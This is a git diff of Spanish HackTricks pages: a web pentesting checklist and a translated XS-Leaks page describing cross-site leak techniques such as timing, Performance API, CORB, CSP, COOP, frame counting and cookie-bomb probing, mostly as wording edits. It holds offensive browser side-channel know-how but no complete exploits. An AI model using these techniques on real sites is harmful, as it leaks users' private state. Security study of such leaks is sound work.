* [ ] [**Vulnerabilidad de Normalización Unicode**](../unicode-injection/)
<details>
@ -6,47 +142,8 @@
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR a los repositorios de** [**hacktricks**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
En cada prueba de penetración web, hay **varios lugares ocultos y obvios que podrían ser vulnerables**. Este post está destinado a ser una lista de verificación para confirmar que ha buscado vulnerabilidades en todos los lugares posibles.
## Proxies
{% hint style="info" %}
Hoy en día, las **aplicaciones web** suelen **usar** algún tipo de **proxies intermedios**, que pueden ser (abusados) para explotar vulnerabilidades. Estas vulnerabilidades necesitan un proxy vulnerable para estar en su lugar, pero generalmente también necesitan alguna vulnerabilidad adicional en el backend.
{% endhint %}
* [ ] [**Abuso de cabeceras hop-by-hop**](../abusing-hop-by-hop-headers.md)
* [ ] [**Envenenamiento de caché/Decepción de caché**](../cache-deception.md)
* [ ] [**Smuggling de solicitudes HTTP**](../http-request-smuggling/)
* [ ] [**Smuggling H2C**](../h2c-smuggling.md)
* [ ] [**Inclusión del lado del servidor/Inclusión del lado del borde**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Descubriendo Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**Inyección de servidor lateral XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
## **Entrada de usuario**
{% hint style="info" %}
La mayoría de las aplicaciones web permitirán a los usuarios introducir algunos datos que se procesarán más tarde.\
Dependiendo de la estructura de los datos que el servidor espera, algunas vulnerabilidades pueden o no aplicarse.
{% endhint %}
### **Valores reflejados**
Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la página podría ser vulnerable a varios problemas.
* [ ] [**Inyección de plantillas del lado del cliente**](../client-side-template-injection-csti.md)
* [ ] [**Inyección de comandos**](../command-injection.md)
* [ ] [**CRLF**](../crlf-0d-0a.md)
* [ ] [**Marcado colgante**](../dangling-markup-html-scriptless-injection.md)
* [ ] [**Inclusión de archivos/Travesía de ruta**](../file-inclusion/)
* [ ] [**Redirección abierta**](../open-redirect.md)
* [ ] [**Contaminación de prototipos para XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Inclusión del lado del servidor/Inclusión del lado del borde**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Falsificación de solicitudes de servidor lateral**](../ssrf-server-side-request-forgery/)
* [ ] [**Inyección de plantillas del lado del servidor**](../ssti-server-side-template-injection/)
* [ ] [**Robo de pesta

View file

@ -41,7 +41,7 @@ Para distinguir entre los 2 estados de la página vulnerable, se pueden observar
* **Redirecciones**. Es posible detectar si una aplicación web ha **redirigido al usuario a una página diferente**. Esto no se limita a las redirecciones HTTP, sino que también incluye redirecciones desencadenadas por JavaScript o HTML.
* **Contenido de la página**. Estas **diferencias detectables aparecen en el cuerpo de la respuesta HTTP** en sí o en los subrecursos incluidos por la página. Por ejemplo, esto podría ser el **número de frames incluidos** (cf. XS-Leak en Gitlab) o diferencias de tamaño de imágenes.
* **Encabezado HTTP**. Un atacante puede detectar la presencia de un **encabezado de respuesta HTTP específico** y puede ser capaz de recopilar su valor. Esto incluye encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
* **Tiempo**: Un atacante puede detectar que existe una diferencia de tiempo constante entre 2 estados.
* **Tiempo**: Un atacante puede detectar que existe una diferencia de tiempo consistente entre 2 estados.
### Métodos de inclusión
@ -52,13 +52,13 @@ Para distinguir entre los 2 estados de la página vulnerable, se pueden observar
### Técnicas de filtración
* **Manejador de eventos**. El manejador de eventos puede considerarse como la técnica clásica de filtración para XS-Leaks. Son una fuente conocida de varias piezas de información. Por ejemplo, el desencadenante de **onload** indica una carga exitosa de recursos en contraste con el evento onerror.
* **Mensajes de error**. Más allá de los manejadores de eventos, los mensajes de error pueden ocurrir como **excepciones de JavaScript** y **páginas de error especiales**. Los mensajes de error pueden ser lanzados en diferentes pasos, por ejemplo, directamente por la técnica de filtración. La técnica de filtración puede usar **información adicional** directamente **contenida** en el **mensaje de error**, o distinguir entre la **aparición y ausencia de un mensaje de error**.
* **Mensajes de error**. Más allá de los manejadores de eventos, los mensajes de error pueden ocurrir como **excepciones de JavaScript** y **páginas de error especiales**. Los mensajes de error pueden ser lanzados en diferentes pasos, por ejemplo, directamente por la técnica de filtración. La técnica de filtración puede usar **información adicional** contenida directamente en el mensaje de error, o distinguir entre la **aparición y ausencia de un mensaje de error**.
* **Límites globales**. Cada computadora tiene sus límites físicos, al igual que un navegador. Por ejemplo, la cantidad de memoria disponible limita las pestañas en ejecución de un navegador. Lo mismo ocurre con otros límites del navegador que se aplican a todo el navegador. Si un atacante puede determinar **cuándo se alcanza el límite, esto puede usarse como una técnica de filtración**.
* **Estado global**. Los navegadores tienen **estados globales con los que todas las páginas pueden interactuar**. Si esta interacción es detectable desde el sitio web de un atacante, puede usarse como una técnica de filtración. Por ejemplo, la interfaz **History** permite la manipulación de las páginas visitadas en una pestaña o marco. Esto crea un estado global porque el **número de entradas** permite a un atacante sacar conclusiones sobre las páginas de origen cruzado.
* **API de rendimiento**. La API de rendimiento se utiliza para acceder a la **información de rendimiento de la página actual**. Sus entradas incluyen datos detallados de temporización de red para el documento y cada recurso cargado por la página. Esto permite a un atacante sacar **conclusiones sobre los recursos solicitados**. Por ejemplo, identificamos casos en los que los navegadores no crearán entradas de rendimiento para algunas solicitudes.
* **Atributos legibles**. HTML tiene varios **atributos que se pueden leer de origen cruzado**. Este acceso de lectura se puede utilizar como una técnica de filtración. Por ejemplo, el código JavaScript puede leer el número de marcos incluidos en una página web de origen cruzado con la propiedad window.frame.length.
#### **Técnicas basadas en el tiempo**
#### **Técnicas basadas en tiempo**
Algunas de las siguientes técnicas van a utilizar el tiempo como parte del proceso para detectar diferencias en los posibles estados de las páginas web. Hay diferentes formas de medir el tiempo en un navegador web.
@ -68,11 +68,11 @@ Para más información: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks]
## XSinator
XSinator es una herramienta automática para **verificar navegadores contra varias filtraciones XS conocidas** explicadas en su documento: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)\
XSinator es una herramienta automática para **verificar navegadores contra varias filtraciones XS-Leaks** explicadas en su documento: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)\
Puedes acceder a la herramienta en [https://xsinator.com/](https://xsinator.com/)
{% hint style="warning" %}
**Filtraciones XS excluidas**: Tuvimos que excluir filtraciones XS que dependen de **service workers** ya que interferirían con otras filtraciones en XSinator. Además, elegimos **excluir filtraciones XS que dependen de una configuración incorrecta y errores en una aplicación web específica**. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), filtraciones de postMessage o Cross-Site Scripting. Además, excluimos filtraciones XS basadas en el tiempo ya que a menudo sufren de ser lentas, ruidosas e inexactas.
**Filtraciones XS excluidas**: Tuvimos que excluir filtraciones XS que dependen de **service workers** ya que interferirían con otras filtraciones en XSinator. Además, elegimos **excluir filtraciones XS que dependen de una configuración incorrecta y errores en una aplicación web específica**. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), filtraciones de postMessage o Cross-Site Scripting. Además, excluimos filtraciones XS basadas en tiempo ya que a menudo sufren de ser lentas, ruidosas e inexactas.
{% endhint %}
![](<../.gitbook/assets/image (9) (1) (2).png>)
@ -173,7 +173,7 @@ De esta manera, puedes distinguir entre una página cargada **correctamente** o
* **Métodos de inclusión**: Marcos
* **Diferencia detectable**: Contenido de la página
* **Más información**:
* **Resumen**: Si la **página** devuelve el contenido **sensible**, o un contenido que puede ser controlado por el usuario. El usuario podría establecer un **código JS válido en el caso negativo**, y cargar cada intento dentro de etiquetas **`<script>`**, de modo que en los casos **negativos** se ejecute el **código** del atacante, y en los casos **afirmativos** no se ejecute nada.
* **Resumen**: Si la **página** devuelve el contenido **sensible**, o un contenido que puede ser controlado por el usuario. El usuario podría establecer un **código JS válido en el caso negativo**, y cargar cada intento dentro de etiquetas **`<script>`**, de modo que en los casos **negativos** se ejecute el **código** del atacante, y en los casos **afirmativos** no se ejecute **nada**.
* **Ejemplo de código**:
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
@ -185,7 +185,7 @@ De esta manera, puedes distinguir entre una página cargada **correctamente** o
* **Diferencia detectable**: Código de estado y encabezados
* **Más información**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Resumen**: Los atacantes pueden observar cuando se aplica CORB si una respuesta devuelve un `Content-Type` protegido por CORB (y `nosniff`) con el código de estado `2xx`, lo que resulta en que CORB elimine el cuerpo y los encabezados de la respuesta. Detectar esta protección permite a un atacante **filtrar** la combinación tanto del **código de estado** (éxito vs. error) como del **`Content-Type` (protegido por CORB o no).**
* **Ejemplo de código:**
* **Ejemplo de código**:
Consulte el enlace de más información para obtener más información sobre el ataque.
@ -197,8 +197,8 @@ Consulte el enlace de más información para obtener más información sobre el
* **Resumen**: Filtrar datos confidenciales del atributo id o name.
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
Es posible **cargar una página** dentro de un **iframe** y usar el **`#id_value`** para hacer que la página se **enfoque en el elemento** del iframe indicado, luego, si se activa una señal **`onblur`**, significa que el elemento ID existe.\
Se puede realizar el mismo ataque con etiquetas **`portal`**.
Es posible **cargar una página** dentro de un **iframe** y usar el **`#id_value`** para hacer que la página se **enfoque en el elemento** del iframe indicado, luego, si se activa una señal **`onblur`**, el elemento ID existe.\
Puedes realizar el mismo ataque con etiquetas **`portal`**.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@ -267,13 +267,13 @@ En una medición de tiempo de ejecución, es posible **eliminar** los **factores
* **Métodos de Inclusión**:
* **Diferencia Detectable**: Tiempo (generalmente debido al contenido de la página, código de estado)
* **Más información**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Resumen**: Medir el tiempo de ejecución de una web bloqueando el bucle de eventos de un hilo y cronometrar **cuánto tiempo tarda en estar disponible nuevamente** el bucle de eventos.
* **Resumen**: Mide el tiempo de ejecución de una web bloqueando el bucle de eventos de un hilo y cronometrando **cuánto tiempo tarda en estar disponible nuevamente el bucle de eventos**.
* **Ejemplo de código**:
Una de las principales ventajas de esta técnica es su capacidad para eludir el Aislamiento del Sitio, ya que un origen atacante puede influir en la ejecución de otro origen.
{% hint style="warning" %}
En una medición de tiempo de ejecución es posible **eliminar** los **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
En una medición de tiempo de ejecución, es posible **eliminar** los **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
{% endhint %}
### Pool de Conexiones
@ -347,7 +347,7 @@ En la técnica anterior también se identificaron dos casos en los que los error
* **Resumen:** Las solicitudes que resultan en un error no se pueden fusionar.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
La técnica se encontró en una tabla en el documento mencionado, pero no se encontró una descripción de la técnica en él. Sin embargo, se puede encontrar el código fuente que lo verifica en [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
La técnica se encontró en una tabla en el documento mencionado, pero no se encontró una descripción de la técnica en él. Sin embargo, puedes encontrar el código fuente que lo verifica en [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Fuga de Página Vacía
@ -367,7 +367,7 @@ Un atacante puede detectar si una solicitud resultó en un cuerpo de respuesta H
* **Resumen:** Detecta la presencia de elementos específicos en una página web con el XSS-Auditor en SA.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
En SA, es posible detectar si se activó el XSSAuditor y, por lo tanto, filtrar información confidencial. El XSS-Auditor es una función incorporada de SA y GC (ahora eliminada) diseñada para mitigar los ataques de Cross-Site Scripting (XSS). En 2013, Braun y Heiderich \[7] demostraron que el XSS-Auditor se puede utilizar para bloquear scripts benignos con falsos positivos. Basándose en su técnica, los investigadores filtran información y detectan contenido específico en una página de origen cruzado. Estas XS-Leaks se describieron por primera vez en un informe de errores de Terada y luego en una publicación de blog de Heyes. Sin embargo, las técnicas descubiertas solo se aplican al XSS-Auditor en GC y no funcionan en SA. Descubrimos que las páginas bloqueadas no crearán entradas de la API de rendimiento. Esto significa que un atacante aún puede filtrar información confidencial con el XSS-Auditor en SA.
En SA, es posible detectar si se activó el XSSAuditor y, por lo tanto, filtrar información confidencial. El XSS-Auditor es una función incorporada de SA y GC (ahora eliminada) diseñada para mitigar los ataques de Cross-Site Scripting (XSS). En 2013, Braun y Heiderich \[7] demostraron que el XSS-Auditor se puede utilizar para bloquear scripts benignos con falsos positivos. Basándose en su técnica, los investigadores filtran información y detectan contenido específico en una página de origen cruzado. Estas XS-Leaks se describieron por primera vez en un informe de errores de Terada y luego en una publicación de blog de Heyes. Sin embargo, las técnicas descubiertas solo se aplican al XSS-Auditor en GC y no funcionan en SA. Descubrimos que las páginas bloqueadas no crearán entradas de Performance API. Esto significa que un atacante aún puede filtrar información confidencial con el XSS-Auditor en SA.
### Fuga de X-Frame
@ -385,10 +385,10 @@ Lo mismo ocurre si se utiliza una etiqueta **embed**.
* **Métodos de Inclusión**: Marcos
* **Diferencia Detectable**: Encabezado
* **Más información**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Resumen:** Las descargas no crean entradas de temporización de recursos en la API de rendimiento.
* **Resumen:** Las descargas no crean entradas de temporización de recursos en la Performance API.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Similar a la XS-Leak descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, tampoco crea una entrada de rendimiento. Esta técnica funciona en todos los navegadores principales.
Similar a la XS-Leak descrita, un **recurso que se descarga** debido al encabezado ContentDisposition, tampoco crea una entrada de rendimiento. Esta técnica funciona en todos los principales navegadores.
### Fuga de Inicio de Redireccionamiento
@ -398,7 +398,7 @@ Similar a la XS-Leak descrita, un **recurso que se descarga** debido al encabeza
* **Resumen:** La entrada de temporización de recursos filtra el tiempo de inicio de un redireccionamiento.
* **Ejemplo de Código**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página de destino, consultando la **API de rendimiento** y verificando los datos de temporización de **redirectStart**.
Encontramos una instancia de XS-Leak que abusa del comportamiento de algunos navegadores que registran demasiada información para solicitudes de origen cruzado. El estándar define un subconjunto de atributos que deben establecerse en cero para recursos de origen cruzado. Sin embargo, en **SA** es posible detectar si el usuario es **redirigido** por la página de destino, consultando la **Performance API** y verificando los datos de temporización de **redirectStart**.
### Fuga de Redireccionamiento de Duración
@ -516,7 +516,7 @@ CORS permite que los recursos web de acceso público se lean y utilicen desde cu
Un atacante puede filtrar el tamaño de las respuestas de origen cruzado debido a **mensajes de error detallados**.
El atributo de integridad define un hash criptográfico mediante el cual el navegador puede verificar que un recurso recuperado no ha sido manipulado. Este mecanismo de seguridad se llama Integridad de Subrecursos (SRI). Se utiliza para la verificación de integridad de recursos servidos desde redes de entrega de contenido (CDN). Para evitar fugas de datos, los recursos de origen cruzado deben estar **habilitados para CORS**. De lo contrario, la respuesta no es elegible para la validación de integridad. Similar al error de CORS XS-Leak, es posible capturar el **mensaje de error después de una solicitud fetch con un atributo de integridad que falla**. Un atacante puede provocar **intencionalmente** este **error** en cualquier solicitud especificando un **valor de hash falso**. En SA, este mensaje de error revela la longitud del contenido del recurso solicitado. Un atacante puede utilizar esta filtración para detectar diferencias en el tamaño de la respuesta, lo que permite poderosos ataques XS-Leak.
El atributo de integridad define un hash criptográfico mediante el cual el navegador puede verificar que un recurso obtenido no ha sido manipulado. Este mecanismo de seguridad se llama Integridad de Subrecursos (SRI, por sus siglas en inglés). Se utiliza para la verificación de integridad de recursos servidos desde redes de entrega de contenido (CDN). Para evitar fugas de datos, los recursos de origen cruzado deben estar **habilitados para CORS**. De lo contrario, la respuesta no es elegible para la validación de integridad. Similar al error de CORS XS-Leak, es posible capturar el **mensaje de error después de una solicitud fetch con un atributo de integridad que falla**. Un atacante puede provocar **intencionalmente** este **error** en cualquier solicitud especificando un **valor de hash falso**. En SA, este mensaje de error revela la longitud del contenido del recurso solicitado. Un atacante puede utilizar esta filtración para detectar diferencias en el tamaño de la respuesta, lo que permite poderosos ataques XS-Leak.
### Violación/Detección de CSP
@ -549,7 +549,7 @@ Si una página carga una imagen solo si el usuario ha iniciado sesión, puedes *
* **Resumen**: Las directivas de encabezado CSP se pueden sondear con el atributo iframe CSP.
* **Ejemplo de código**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Una nueva función en GC permite que las páginas web propongan un CSP estableciendo un atributo en un elemento iframe. Las directivas de política se transmiten junto con la solicitud HTTP. Normalmente, el contenido incrustado debe permitir esto explícitamente con un encabezado HTTP, **de lo contrario se muestra una página de error**. Sin embargo, si el iframe ya envía un CSP y la nueva política no es más estricta, la página se mostrará normalmente.
Una nueva función en GC permite que las páginas web propongan una CSP estableciendo un atributo en un elemento iframe. Las directivas de política se transmiten junto con la solicitud HTTP. Normalmente, el contenido incrustado debe permitir esto explícitamente con un encabezado HTTP, **de lo contrario se muestra una página de error**. Sin embargo, si el iframe ya envía una CSP y la nueva política no es más estricta, la página se mostrará normalmente.
Esto permite a un atacante detectar directivas CSP específicas de una página de origen cruzado, si es posible **detectar la página de error**. Aunque este error ahora está marcado como solucionado, encontramos una **nueva técnica de filtración que puede detectar la página de error, porque el problema subyacente nunca se solucionó**.
### **CORP**
@ -580,7 +580,7 @@ Consulte el enlace de más información para obtener más detalles sobre el ataq
* **Resumen**: Si el encabezado de origen se refleja en el encabezado `Access-Control-Allow-Origin`, es posible verificar si un recurso ya está en la caché.
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
En caso de que el encabezado de origen se esté **reflejando** en el encabezado `Access-Control-Allow-Origin`, un atacante puede aprovechar este comportamiento para intentar **obtener** el **recurso** en modo **CORS**. Si no se produce un **error**, significa que se **obtuvo correctamente desde la web**; si se produce un **error**, es porque se **accedió desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante).\
En caso de que el encabezado de origen se esté **reflejando** en el encabezado `Access-Control-Allow-Origin`, un atacante puede aprovechar este comportamiento para intentar **obtener** el **recurso** en modo **CORS**. Si no se produce un **error**, significa que se **obtuvo correctamente desde la web**; si se produce un **error**, significa que se **accedió desde la caché** (el error aparece porque la caché guarda una respuesta con un encabezado CORS que permite el dominio original y no el dominio del atacante).\
Tenga en cuenta que si el origen no se refleja pero se utiliza un comodín (`Access-Control-Allow-Origin: *`), esto no funcionará.
## Técnica de atributos legibles
@ -603,9 +603,9 @@ Al enviar una solicitud utilizando la Fetch API con `redirect: "manual"` y otros
* **Resumen**: Las páginas protegidas con COOP no pueden ser accedidas.
* **Ejemplo de código**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Un atacante puede filtrar si el encabezado Cross-Origin Opener Policy (COOP) está disponible dentro de una respuesta HTTP de origen cruzado.
Un atacante puede filtrar si el encabezado de Política de Apertura de Origen Cruzado (COOP) está disponible en una respuesta HTTP de origen cruzado.
Las aplicaciones web pueden implementar el encabezado de respuesta COOP para evitar que otros sitios web obtengan referencias de ventana arbitrarias de la aplicación. Sin embargo, este **encabezado puede ser detectado fácilmente** al intentar leer la **referencia `contentWindow`**. Si un sitio solo implementa **COOP en un estado**, esta propiedad (`opener`) es **indefinida**, **de lo contrario** está **definida**.
Las aplicaciones web pueden implementar el encabezado de respuesta COOP para evitar que otros sitios web obtengan referencias de ventana arbitrarias de la aplicación. Sin embargo, este **encabezado puede ser detectado fácilmente** al intentar leer la referencia **`contentWindow`**. Si un sitio solo implementa COOP en un estado, esta propiedad (`opener`) es **indefinida**; de lo contrario, está **definida**.
### Longitud máxima de URL - Lado del servidor
@ -615,9 +615,9 @@ Las aplicaciones web pueden implementar el encabezado de respuesta COOP para evi
* **Resumen**: Detectar diferencias en las respuestas debido a que la longitud de la respuesta de redirección puede ser demasiado grande y el servidor responde con un error, generando una alerta.
* **Ejemplo de código**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Si una redirección del lado del servidor utiliza **entrada de usuario dentro de la redirección** y **datos adicionales**, es posible detectar este comportamiento porque generalmente los **servidores** tienen un **límite de longitud de solicitud**. Si los **datos del usuario** tienen esa **longitud - 1**, porque la **redirección** está utilizando **esos datos** y **agregando** algo **adicional**, se producirá un **error detectable a través de eventos de error**.
Si una redirección del lado del servidor utiliza **datos del usuario dentro de la redirección** y **datos adicionales**, es posible detectar este comportamiento porque generalmente los **servidores** tienen un **límite de longitud de solicitud**. Si los **datos del usuario** tienen esa **longitud - 1**, debido a que la **redirección** está utilizando **esos datos** y **agregando** algo **adicional**, se producirá un **error detectable a través de eventos de error**.
Si de alguna manera puede establecer cookies para un usuario, también puede realizar este ataque mediante **configuración suficiente de cookies** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) para que con el **aumento del tamaño de respuesta** de la **respuesta correcta** se genere un **error**. En este caso, recuerde que si desencadena esta solicitud desde el mismo sitio, `<script>` enviará automáticamente las cookies (para que pueda verificar los errores).\
Si de alguna manera puede establecer cookies para un usuario, también puede realizar este ataque mediante **la configuración de suficientes cookies** ([**cookie bomba**](hacking-with-cookies/cookie-bomb.md)) para que, con el **aumento del tamaño de la respuesta correcta**, se produzca un **error**. En este caso, recuerde que si desencadena esta solicitud desde el mismo sitio, `<script>` enviará automáticamente las cookies (para que pueda verificar los errores).\
Un ejemplo de **cookie bomba + XS-Search** se puede encontrar en la solución prevista de este informe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` o estar en el mismo contexto generalmente se necesita para este tipo de ataque.
@ -691,22 +691,22 @@ console.log(await debug(win, "https://example.com/?a=b"));
```
### Conteo de Marcos
* **Métodos de inclusión**: Marcos, ventanas emergentes
* **Diferencia detectable**: Contenido de la página
* **Métodos de Inclusión**: Marcos, Ventanas emergentes
* **Diferencia Detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
* **Resumen**: Leer el número de marcos (window.length).
* **Resumen:** Leer el número de marcos (window.length).
* **Ejemplo de código**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Contar el **número de marcos en una página web** abierta mediante `iframe` o `window.open` puede ayudar a identificar el **estado del usuario en esa página**. Además, si la página siempre tiene el mismo número de marcos, verificar **continuamente** el número de marcos puede ayudar a identificar un **patrón** que podría filtrar información.
Un ejemplo de esta técnica es que en Chrome, un **PDF** se puede **detectar** con el **conteo de marcos** porque se utiliza internamente un `embed`. Hay [Parámetros de URL abiertos](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) que permiten controlar el contenido, como `zoom`, `view`, `page`, `toolbar`, donde esta técnica podría ser interesante.
Un ejemplo de esta técnica es que en Chrome, un **PDF** se puede **detectar** con el **conteo de marcos** porque se utiliza internamente un `embed`. Hay [Parámetros de URL abiertos](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) que permiten cierto control sobre el contenido, como `zoom`, `view`, `page`, `toolbar`, donde esta técnica podría ser interesante.
### HTMLElements
* **Métodos de inclusión**: Elementos HTML
* **Diferencia detectable**: Contenido de la página
* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
* **Resumen**: Leer el valor filtrado para distinguir entre 2 estados posibles
* **Resumen:** Leer el valor filtrado para distinguir entre 2 posibles estados
* **Ejemplo de código**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Algunas páginas web pueden **generar dinámicamente archivos multimedia** según la información del usuario o agregar marcas de agua que cambian el tamaño del medio. Un atacante puede utilizar la información filtrada por esos elementos HTML para distinguir entre posibles estados.
@ -720,28 +720,28 @@ Algunos HTMLElements filtrarán información a través de orígenes cruzados, co
### Propiedad CSS
* **Métodos de inclusión**: Elementos HTML
* **Diferencia detectable**: Contenido de la página
* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
* **Resumen**: Detectar el estilo del sitio web según el estado del usuario.
* **Resumen:** Detectar el estilo del sitio web según el estado del usuario.
* **Ejemplo de código**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Las aplicaciones web pueden cambiar el **estilo del sitio web según el estado del usuario**. Los archivos CSS de origen cruzado se pueden incrustar en la página del atacante con el **elemento de enlace HTML**, y las **reglas** se aplicarán a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede **detectar** estas **diferencias** según el estado del usuario.\
Las aplicaciones web pueden cambiar el **estilo del sitio web según el estado del usuario**. Los archivos CSS de origen cruzado se pueden incrustar en la página del atacante con el **elemento de enlace HTML**, y las **reglas** se **aplicarán** a la página del atacante. Si una página cambia dinámicamente estas reglas, un atacante puede **detectar** estas **diferencias** según el estado del usuario.\
Como técnica de filtración, el atacante puede utilizar el método `window.getComputedStyle` para **leer las propiedades CSS** de un elemento HTML específico. Como resultado, un atacante puede leer propiedades CSS arbitrarias si se conoce el elemento afectado y el nombre de la propiedad.
### Historial CSS
* **Métodos de inclusión**: Elementos HTML
* **Diferencia detectable**: Contenido de la página
* **Métodos de Inclusión**: Elementos HTML
* **Diferencia Detectable**: Contenido de la página
* **Más información**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
* **Resumen**: Detectar si se aplica el estilo `:visited` a una URL, lo que indica que ya se ha visitado
* **Resumen:** Detectar si se aplica el estilo `:visited` a una URL, indicando que ya ha sido visitada
* **Ejemplo de código**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
{% hint style="info" %}
Según [**esto**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), esto no funciona en Chrome sin cabeza.
{% endhint %}
